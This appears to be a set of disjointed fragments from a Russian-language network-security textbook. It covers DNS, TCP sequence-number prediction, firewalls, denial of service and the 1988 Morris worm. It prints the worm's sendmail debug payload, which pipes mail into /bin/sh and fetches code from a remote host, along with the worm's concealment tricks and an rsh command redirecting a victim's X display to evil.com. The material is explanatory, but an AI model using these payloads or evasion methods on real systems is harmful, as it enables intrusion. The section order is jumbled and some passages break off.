IP-адреса. Использование в Internet мнемонически понятных для пользователей имен породило проблему преобразования имен в IP-адреса. Такое преобразование необходимо, так как на сетевом уровне адресация пакетов идет не по именам, а по IP-адресам, следовательно, для непосредственной адресации сообщений в Internet имена не годятся. На этапе раннего развития Internet, когда в сеть было объединено небольшое количество компьютеров, NIC (Network Information Center) для решения проблемы преобразования имен в адреса создал специальный файл (hosts file), в который вносились имена и соответствующие им IP-адреса всех хостов в сети. Данный файл регулярно обновлялся и распространялся по всей сети. Но, по мере развития Internet, число объединенных в сеть хостов увеличивалось, и данная схема становилась все менее и менее работоспособной, поэтому была создана новая система преобразования имен, позволяющая пользователю в случае отсутствия у него информации о соответствии имен и IP-адресов получить необходимые сведения от ближайшего информационно-поискового сервера (DNS-сервера). Эта система получила название доменной системы имен - DNS (Domain Name System).

Для реализации системы DNS был создан специальный сетевой протокол DNS, для обеспечения эффективной работы которого в сети создаются специальные выделенные информационно-поисковые серверы - DNS-серверы. Поясним основную задачу, решаемую службой DNS. В современной сети Internet хост при обращении к удаленному серверу обычно имеет информацию только о его имени и не знает его IP-адреса, который и необходим для непосредственной адресации. Следовательно, перед хостом возникает стандартная проблема удаленного поиска: по имени удаленного хоста найти его IP-адрес. Решением этой проблемы и занимается служба DNS на базе протокола DNS.

Ложный объект распределенной ВС

В том случае, если в распределенной ВС недостаточно надежно решены проблемы идентификации сетевых управляющих устройств (например, маршрутизаторов), возникающие при взаимодействии последних с объектами системы, то подобная распределенная система может подвергнуться типовой удаленной атаке, связанной с изменением маршрутизации и внедрением в систему ложного объекта. В том случае, если инфраструктура сети такова, что для взаимодействия объектов необходимо использование алгоритмов удаленного поиска (п. 3.2.3.2), то это также позволяет внедрить в систему ложный объект. Итак, существуют две принципиально разные причины, обуславливающие появление типовой удаленной атаки "Ложный объект РВС" .

Маскировка действий вируса

Вирус осуществлял ряд мер для сокрытия своих действий:

стирался список аргументов по окончании их обработки, поэтому команда ps не могла показать, каким образом были вызваны вирусные программы; исполняемые файлы вируса после своего запуска немедленно уничтожались, и нельзя было понять, откуда появился процесс. Если зараженная машина перезагружалась в процессе исполнения вируса, то специальная программа автоматически восстанавливала файл после перезагрузки; размер аварийного дампа устанавливался равным нулю. Если программа аварийно завершалась, то она не оставляла после себя никаких следов. Также отключались сообщения об ошибках; вирус был скомпилирован под именем sh, такое же имя использовалось командным интерпретатором Bourne Shell, который часто используется в командных файлах. Даже старательный администратор системы не замечал увеличения числа интерпретаторов, функционирующих в системе, или не придавал этому значения; вирус размножался, ветвясь на два процесса (роди-тель и потомок), примерно каждые три минуты. Процесс-родитель после этого завершался, а процесс-потомок продолжал работать. Это имело эффект "обновления" процесса, так как для нового процесса учет используемых ресурсов начинался с нуля. Кроме того, эта мера затрудняла обнаружение вируса; все текстовые строки, используемые вирусом, были закодированы с помощью операции "исключающее или" - XOR 81H. Это, конечно, слабый метод, но он позволил скрыть важные текстовые строки, например, имена открываемых вирусом файлов.

Математическое предсказание начального

Первый вопрос, который возникает в данном случае: как сетевая операционная система формирует начальное значение ISSa (так называемый ISN - Initial Sequence Number)? Очевидно, что наилучшим решением с точки зрения безопасности будет генерация этого значения ISN по случайному закону с использованием программного (а лучше аппаратного) генератора псевдослучайных чисел с достаточно большим периодом. В этом случае каждое новое значение ISN не будет зависеть от его предыдущего значения, а, следовательно, у атакующего не будет даже теоретической возможности нахождения функционального закона получения ISN.

Однако оказывается, что подобные очевидные правила случайной генерации ISN как для составителей самого описания протокола TCP (RFC 793), так и для разработчиков сетевого ядра различных операционных систем являются далеко не очевидными. Об этом говорят следующие факты. В описании протокола TCP в RFC 793 рекомендуется увеличивать значение этого 32-битного счетчика на 1 каждые 4 микросекунды (?!).

А как дело обстоит на практике? Поверьте, плохо!

Например, в ранних Berkeley-совместимых ядрах ОС UNIX значение этого счетчика увеличивалось на 128 каждую секунду и на 64 для каждого нового соединения. Анализ исходных текстов ядра ОС Linux 1.2.8 показал, что значение ISN вычисляется данной ОС в зависимости от текущего времени по следующему, отнюдь не случайному закону:

ISN = mcsec + 1000000 sec, где
mcsec - время в микросекундах;
sec - текущее время в секундах, причем отсчет его идет от 1970 года.

Вы думаете, что в других сетевых ОС лучше? Ошибаетесь! В ОС Windows NT 4.0 значение ISN увеличивается на 10 примерно каждую миллисекунду, то есть для Windows NT справедлива следующая формула:

ISN " 10 msec, где
msec - текущее время в миллисекундах.

Однако больше всего нас удивил защищенный по классу B1 UNIX, установленный на многопроцессорной мини-ЭВМ - полнофункциональном файрволе. Эта наиболее защищенная из всех, что встречалась авторам, сетевая ОС имеет также простой времязависимый алгоритм генерации начального значения идентификатора TCP-соединения. Как говорится, комментарии здесь излишни. Мало того, что в единственном базовом "защищенном" (?!) протоколе Internet - протоколе TCP - применяется простейший способ идентификации соединения, который в принципе не позволяет гарантировать надежную защиту от подмены одного из абонентов при нахождении атакующего в том же сегменте, так еще и сами разработчики сетевых ОС разрушают и без того хрупкую безопасность этого протокола, используя простые времязависимые алгоритмы генерации ISN!

Методика Firewall как основное

В общем случае методика Firewall реализует следующие основные три функции:

Мифические удаленные атаки в сети Internet

В завершении разговора об удаленных атаках в сети Internet авторы хотели бы рассказать о так называемых мифических удаленных атаках. К этим курьезным атакам можно отнести "почти" реально осуществимые угрозы, основанные на реальных особенностях протоколов Internet. "Почти" осуществимые угрозы на практике нельзя осуществить (п. 4.7.1), либо вероятность их успеха чрезвычайно небольшая (п. 4.7.2). Однако шумиха, поднимаемая некоторыми не совсем компетентными зарубежными "экспертами" по безопасности Internet, вводящими в заблуждение многих пользователей, создает миф об этих атаках, которые на самом деле практически никому не угрожают.

Многоуровневая фильтрация сетевого трафика.

Фильтрация обычно осуществляется на трех уровнях OSI:

сетевом (IP);
транспортном (TCP, UDP);
прикладном (FTP, TELNET, HTTP, SMTP и т. д.).

Фильтрация сетевого трафика является основной функцией систем Firewall и позволяет администратору безопасности сети централизованно осуществлять необходимую сетевую политику безопасности в выделенном сегменте IP-сети, то есть, настроив соответствующим образом Firewall, можно разрешить или запретить пользователям как доступ из внешней сети к соответствующим службам хостов или к хостам, находящихся в защищаемом сегменте, так и доступ пользователей из внутренней сети к соответствующим ресурсам внешней сети. Можно провести аналогию с администратором локальной ОС, который для осуществления политики безопасности в системе назначает необходимым образом соответствующие отношения между субъектами (пользователями) и объектами системы (файлами, например), что позволяет разграничить доступ субъектов системы к ее объектам в соответствии с заданными администратором правами доступа. Те же рассуждения применимы к Firewall-фильтрации: в качестве субъектов взаимодействия будут выступать IP-адреса хостов пользователей, а в качестве объектов, доступ к которым необходимо разграничить, - IP-адреса хостов, используемые транспортные протоколы и службы предоставления удаленного доступа.

Модификация информации

Одной из особенностей любой системы воздействия, построенной по принципу ложного объекта, является то, что она способна модифицировать перехваченную информацию. Следует особо отметить, что это один из способов, позволяющих программно модифицировать поток информации между объектами РВС с другого объекта. Ведь для реализации перехвата информации в сети необязательно атаковать распределенную ВС по схеме "ложный объект" . Эффективней будет атака, осуществляющая анализ сетевого трафика (п. 3.2.1), позволяющая получать все пакеты, проходящие по каналу связи, но, в отличие от удаленной атаки по схеме "ложный объект" , она не способна к модификации информации.

Далее рассмотрим два вида модификации информации:

модификация передаваемых данных; модификация передаваемого кода.

Одной из функций, которой может обладать система воздействия, построенная по принципу "ложный объект" , является модификация передаваемых данных. В результате селекции потока перехваченной информации и его анализа система может распознавать тип передаваемых файлов (исполняемый или текстовый). Соответственно, в случае обнаружения текстового файла или файла данных появляется возможность модифицировать проходящие через ложный объект данные. Особую угрозу эта функция представляет для сетей обработки конфиденциальной информации.

Другим видом модификации может быть модификация передаваемого кода. Ложный объект, проводя семантический анализ проходящей через него информации, может выделять из потока данных исполняемый код. Известный принцип неймановской архитектуры гласит, что не существует различий между данными и командами. Следовательно, для того, чтобы определить, что передается по сети - код или данные, необходимо использовать определенные особенности, свойственные реализации сетевого обмена в конкретной распределенной ВС или некоторые особенности, присущие конкретным типам исполняемых файлов в данной локальной ОС.

Представляется возможным выделить два различных по цели вида модификации кода:

Начало, или до червя

Вначале был хаос и анархия. Интернет только зарождался, глобальных сетей практически не было, базовые протоколы TCP/IP только появлялись и стандартизовались, аналогично в самом начале развития были все UNIX-службы, программы еще были сырыми и не отлаженными. Причем этот процесс развития происходил стихийно, независимо в разных местах, на разных версиях UNIX, потом наиболее удачные начинания распространялись, сталкивались со своими конкурентами, переделывались и т. д. Весь этот процесс стандартизации сопровождался неизбежными компромиссами, особенно в системе безопасности, т. к. основными принципами UNIX всегда являлись простота, гибкость и переносимость - а они часто противоречат безопасности.

Нынешние кракеры, наверно, кусают себе локти, что они родились не на 10 лет раньше - ведь в то время хакером мог прослыть тот, кто умел методично перебирать адреса компьютеров и вводить в качестве имени и пароля что-нибудь типа guest/guest [17]. Видимо, большинство хостов (в том числе и военные - в то время возможность проникновения в секретные хосты еще не являлась мифом) и вскрывались таким образом. Были известны стандартные входные имена, присутствующие в операционной системе при ее инсталляции (см. табл. 8.1).

Особо продвинутые кракеры, наверное, догадывались вводить в качестве паролей наиболее распространенные имена, жаргонные словечки и т. п.

Интересно заметить, что большинство средств защиты многих современных ОС наиболее успешно борется именно с таким примитивным классом атак, называя это громкими словами "обнаружение нарушителей" (intruder detection) и т. п. В ОС обычно принята задержка в несколько секунд после набора неправильного пароля, а также ограничение максимального числа неправильно набранных паролей подряд. Эти меры не позволяют взломщику удаленно перебирать быстро пароли (естественно, что сегодня, если хакер и будет заниматься перебором, то не в реальном времени). Но, видимо, в те далекие годы не было даже таких мер.

Таблица 4.13

Уязвимые операционные системы

Особенности безопасности компьютерных сетей

Основной особенностью любой сетевой системы является то, что ее компоненты распределены в пространстве и связь между ними физически осуществляется при помощи сетевых соединений (коаксиальный кабель, витая пара, оптоволокно и т. п.) и программно при помощи механизма сообщений. При этом все управляющие сообщения и данные, пересылаемые между объектами распределенной вычислительной системы (ВС), передаются по сетевым соединениям в виде пакетов обмена.

Сетевые системы характерны тем, что, наряду с обычными (локальными) атаками, осуществляемыми в пределах одной компьютерной системы, к ним применим специфический вид атак, обусловленный распределенностью ресурсов и информации в пространстве. Это так называемые сетевые (или удаленные) атаки. Они характерны, во-первых, тем, что злоумышленник может находиться за тысячи километров от атакуемого объекта, и, во-вторых, тем, что нападению может подвергаться не конкретный компьютер, а информация, передающаяся по сетевым соединениям. С развитием локальных и глобальных сетей именно удаленные атаки становятся лидирующими как по количеству попыток, так и по успешности их применения и, соответственно, обеспечение безопасности ВС с точки зрения противостояния удаленным атакам приобретает первостепенное значение. Специфика распределенных ВС состоит в том, что если в локальных ВС наиболее частыми были угрозы раскрытия и целостности, то в сетевых системах, как будет показано далее, на первое место выходит угроза отказа в обслуживании.

Под удаленной атакой будем понимать информационное разрушающее воздействие на распределенную ВС, программно осуществляемое по каналам связи. Это определение охватывает обе особенности сетевых систем - распределенность компьютеров и распределенность информации. Поэтому далее будут рассмотрены два подвида таких атак - это удаленные атаки на инфраструктуру и протоколы сети и удаленные атаки на телекоммуникационные службы. Первые используют уязвимости в сетевых протоколах и инфраструктуре сети, а вторые - уязвимости в телекоммуникационных службах. При этом под инфраструктурой сети мы понимаем сложившуюся систему организации отношений между объектами сети и используемые в сети сервисные службы.

<<<	^^^	>>>
Особенности безопасности X-window Все сетевые службы, кроме portmapper, могут быть обнаружены с помощью перебора всех сетевых портов. Многие сетевые утилиты и оконные систе- мы работают с конкретными портами (например, sendmail - с портом 25, telnet - с портом 23). Порт X-window обычно 6000. Без дополнительной защиты окна X-window могут быть захвачены или просмотрены, ввод пользователя может быть украден, программы могут быть удаленно выполнены и т. п. Одним из методов определения уязвимости X сервера является подсоединение к нему через функцию XOpenDisplay(). Если функция возвращает не NULL, то можно получить доступ к дисплею. Х-терминалы, гораздо менее мощные системы, могут иметь свои проблемы по части безопасности. Многие Х-терминалы разрешают неограниченный rsh-доступ, позволяя запустить Х-клиенты на терминале victim, перенаправляя вывод на локальный терминал: evil% xhost +xvictim.victim.com evil% rsh xvictim.victim.com telnet victim.com -display evil.com В любом случае необходимо продумать безопасность вашей системы X-Window, поскольку иначе система будет подвергаться такому же риску, как и при наличии "+" в hosts.eguiv или отсутствии пароля у root. Характер воздействия Цель воздействия Условие начала осуществления воздействия Наличие обратной связи с атакуемым объектом Расположение субъекта атаки относительно атакуемого объекта Уровень модели OSI Класс воздействия 1.1 1.2 2.1 2.2 2.3 3.1 3.2 3.3 4.1 4.2 5.1 5.2 6.1 6.2 6.3 6.4 6.5 6.6 6.7 Анализ сетевого трафика + - + - - - - + - + + - - + - - - - - Подмена доверенного объекта РВС - + + + - - + - + + + + - - + + - - - Внедрение в РВС ложного объекта путем навязывания ложного маршрута - + + + + - - + + + + + - - + - - - - Внедрение в РВС ложного объекта путем использования недостатков алгоритмов удаленного поиска - + + + - + - + + - + + - + + + - - - Отказ в обслуживании - + - - + - - + - + + + - + + + + + + <<< ^^^ >>> Отказ в обслуживании Одной из основных задач, возлагаемых на сетевую ОС, функционирующую на каждом из объектов распределенной ВС, является обеспечение надежного удаленного доступа с любого объекта сети к данному объекту. В общем случае в распределенной ВС каждый субъект системы должен иметь возможность подключиться к любому объекту РВС и получить в соответствии со своими правами удаленный доступ к его ресурсам. Обычно в вычислительных сетях возможность предоставления удаленного доступа реализуется следующим образом: на объекте РВС в сетевой ОС запускаются на выполнение ряд программ-серверов (например, FTP-сервер, WWW-сервер и т.п.), предоставляющих удаленный доступ к ресурсам данного объекта. Данные программы-серверы входят в состав телекоммуникационных служб предоставления удаленного доступа. Задача сервера состоит в том, чтобы, находясь в памяти операционной системы объекта РВС, постоянно ожидать получения запроса на подключение от удаленного объекта. В случае получения подобного запроса сервер должен по возможности передать на запросивший объект ответ, в котором либо разрешить подключение, либо нет (под-ключение к серверу специально описано очень схематично, так как подробности в данный момент не имеют значения). По аналогичной схеме происходит создание виртуального канала связи, по которому обычно взаимодействуют объекты РВС. В этом случае непосредственно ядро сетевой ОС обрабатывает приходящие извне запросы на создание виртуального канала (ВК) и передает их в соответствии с идентификатором запроса (порт или сокет) прикладному процессу, которым является соответствующий сервер. Очевидно, что сетевая операционная система способна иметь только ограниченное число открытых виртуальных соединений и отвечать лишь на ограниченное число запросов. Эти ограничения зависят от различных параметров системы в целом, основными из которых являются быстродействие ЭВМ, объем оперативной памяти и пропускная способность канала связи (чем она выше, тем больше число возможных запросов в единицу времени). Основная проблема состоит в том, что при отсутствии статической ключевой информации в РВС идентификация запроса возможна только по адресу его отправителя. Если в распределенной ВС не предусмотрено средств аутентификации адреса отправителя, то есть инфраструктура РВС позволяет с одного объекта системы передавать на другой атакуемый объект бесконечное число анонимных запросов на подключение от имени других объектов, то в этом случае будет иметь успех типовая удаленная атака "Отказ в обслуживании" (пример подобной атаки на сеть Internet - п. 4.6). Результат применения этой удаленной атаки - нарушение на атакованном объекте работоспособности соответствующей службы предоставления удаленного доступа, то есть невозможность получения удаленного доступа с других объектов РВС - отказ в обслуживании! Вторая разновидность этой типовой удаленной атаки состоит в передаче с одного адреса такого количества запросов на атакуемый объект, какое позволит трафик (направленный "шторм" запросов). В этом случае, если в системе не предусмотрены правила, ограничивающие число принимаемых запросов с одного объекта (адреса) в единицу времени, то результатом этой атаки может являться как переполнение очереди запросов и отказа одной из телекоммуникационных служб, так и полная остановка компьютера из-за невозможности системы заниматься ничем другим, кроме обработки запросов. И последней, третьей разновидностью атаки "Отказ в обслуживании" является передача на атакуемый объект некорректного, специально подобранного запроса. В этом случае при наличии ошибок в удаленной системе возможно зацикливание процедуры обработки запроса, переполнение буфера с последующим зависанием системы (пример в п. 4.7.2 - "Ping Death" ) и т. п. Типовая удаленная атака "Отказ в обслуживании" является активным воздействием (класс 1.2), осуществляемым с целью нарушения работоспособности системы (класс 2.3), безусловно относительно цели атаки (класс 3.3). Данная УА является однонаправленным воздействием (класс 4.2), как межсегментным (класс 5.1), так и внутрисегментным (класс 5.2), осуществляемым на транспортном (класс 6.4) и прикладном (класс 6.7) уровнях модели OSI. Таблица 3.2 Классификация типовых удаленных атак на распределенные ВС <<< ^^^ >>> Типовая удаленная атака Отладочный режим в программе Sendmail Вирус использовал функцию "debug" программы sendmail, которая устанавливала отладочный режим для текущего сеанса связи. Отладочный режим обладает некоторыми дополнительными возможностями, такими как возможность посылать сообщения, снабженные программой-получателем, которая запускается на удаленной машине и осуществляет прием сообщения. Эта возможность, не предусмотренная протоколом SMTP, использовалась разработчиками для отладки программы, и в рабочей версии была оставлена по ошибке. Таким образом, налицо типичный пример атаки по сценарию 1. Спецификация программы, которая будет выполняться при получении почты, содержится в файле псевдонимов (aliases) программы sendmail или в пользовательском файле .forward. Эта спецификация используется программами, обрабатывающими или сорти-рующими почту, и не должна применяться самой программой sendmail. В вирусе эта программа-получатель содержала команды, убирающие заголовки почты, после чего посылала остаток сообщения командному интерпретатору, который создавал, компилировал и выполнял программу на языке Си, служившую "абордажным крюком" , и та, в свою очередь, принимала оставшиеся модули из атакующей машины. Вот что передавал вирус через SMTP-соединение: debug mail from: </dev/null> rcpt to: <"|sed -e '1,/^$/'d | /bin/sh ; exit 0"> data cd /usr/tmp cat > x14481910.c <<'EOF' <текст программы ll.c> EOF cc -o x14481910 x14481910.c;x14481910 128.32.134.16 32341 8712440; rm -f x14481910 x14481910.c. quit Вирус заражал компьютеры двух типов - VAX и Sun, поэтому пересылались двоичные коды для той и другой архитектуры, оба запускались, но исполняться мог только один. В компьютерах других архитектур (не VAX и Sun) программы не могли функционировать, хотя и поглощали системные ресурсы в момент компиляции. Отсутствие контроля за виртуальными каналами связи между объектами РВС Как было показано в п. 3.2.4 и в п. 4.6 (нарушение работоспособности хоста в сети Internet) объекты распределенной ВС, взаимодействующие по виртуальным каналам, могут подвергаться типовой УА "Отказ в обслуживании" . Особенность этой атаки состоит в том, что, действуя абсолютно легальными средствами системы, можно удаленно добиться нарушения ее работоспособности. Напомним, что, данная УА реализуется передачей множественных запросов на создание соединения (виртуального канала), в результате чего либо переполняется число возможных соединений, либо система, занятая обработкой ответов на запросы, вообще перестает функционировать. В чем причина успеха данной УА? В предыдущем пункте было показано, что взаимодействие объектов РВС по виртуальным каналам позволяет единственным способом обеспечить защиту соединения в глобальной сети. Однако в использовании ВК есть как несомненные плюсы, так и очевидные минусы. К минусам относится необходимость контроля над соединением. При этом задача контроля распадается на две подзадачи: контроль за созданием соединения; контроль за использованием соединения. Если вторая задача решается довольно просто (обычно соединение разрывается по тайм-ауту, определенному системой - так сделано во всех известных сетевых ОС), то решение задачи контроля за созданием соединения представляется нетривиальным (п. 6.4). Именно отсутствие приемлемого решения этой задачи является основной причиной успеха типовой УА "Отказ в обслуживании" . Сложность контроля над созданием ВК состоит в том, что в системе, в которой отсутствует статическая ключевая информация о всех ее объектах, невозможно отделить ложные запросы на создание соединения от настоящих. Очевидно также, что если один субъект сетевого взаимодействия будет иметь возможность анонимно занимать неограниченное число каналов связи с удаленным объектом, то подобная система может быть полностью парализована данным субъектом (пример - существующая сеть Internet в стандарте IPv4)! Поэтому, если любой объект в распределенной системе может анонимно послать сообщение от имени любого другого объекта (например, в Internet маршрутизаторы не проверяют IP-адрес источника отправления), то в подобной распределенной ВС в принципе невозможен контроль за созданием виртуальных соединений. Поэтому основная причина, по которой возможна типовая УА "Отказ в обслуживании" и ей подобные - это отсутствие в РВС возможности контроля за маршрутом сообщений. Отсутствие в базовых протоколах Internet криптозащиты сообщений В существующих базовых протоколах семейства TCP/IP, обеспечивающих взаимодействие на сетевом-сеансовом уровнях, не предусмотрена возможность шифрования сообщений, хотя очевидно, что добавить ее в протокол TCP не составляло труда. Разработчики этих базовых протоколов решили переложить задачу криптозащиты на протоколы более высоких уровней, например, прикладного. При этом базовые протоколы прикладного уровня (FTP, TELNET, HTTP и др.) также не предусматривали никакого шифрования сообщений. Только недавно появился общедоступный прикладной протокол SSL, встроенный в Netscape Navigator, позволяющий как надежно зашифровать сообщение, так и подтвердить его подлинность (п. 7.2.2.1). В заключении к этой главе хотелось бы заметить, что все описанные выше причины, по которым возможны удаленные атаки на сетевые соединения, делают сеть Internet небезопасной. Поэтому, в принципе, все пользователи этой сети пользуются ее услугами на свой страх и риск и могут быть атакованы в любой момент. В настоящее время пользователи сети Internet в большинстве своем из-за абсолютного непонимания источников и реальной силы угроз находятся в постоянном беспокойстве. Это напоминает тот вирусный бум, который был в начале 90-х годов. Данная глава преследовала цель объяснить и продемонстрировать исходящие из сети Internet возможные угрозы и причины их возникновения. Диаграмма 2. Причины успеха удаленных атак на распределенные вычислительные системы и сеть Internet <<< ^^^ >>> Отсутствие в Internet полной информации Очевидно, что в глобальной сети невозможно обеспечить на каждом ее объекте наличие информации о любом другом объекте в сети. Поэтому, как говорилось ранее, необходимо использовать потенциально опасные алгоритмы удаленного поиска. В сети Internet используется по меньшей мере два алгоритма удаленного поиска: ARP и DNS. Удаленные атаки, направленные на эти протоколы см. в п. 4.2-4.3. <<< ^^^ >>>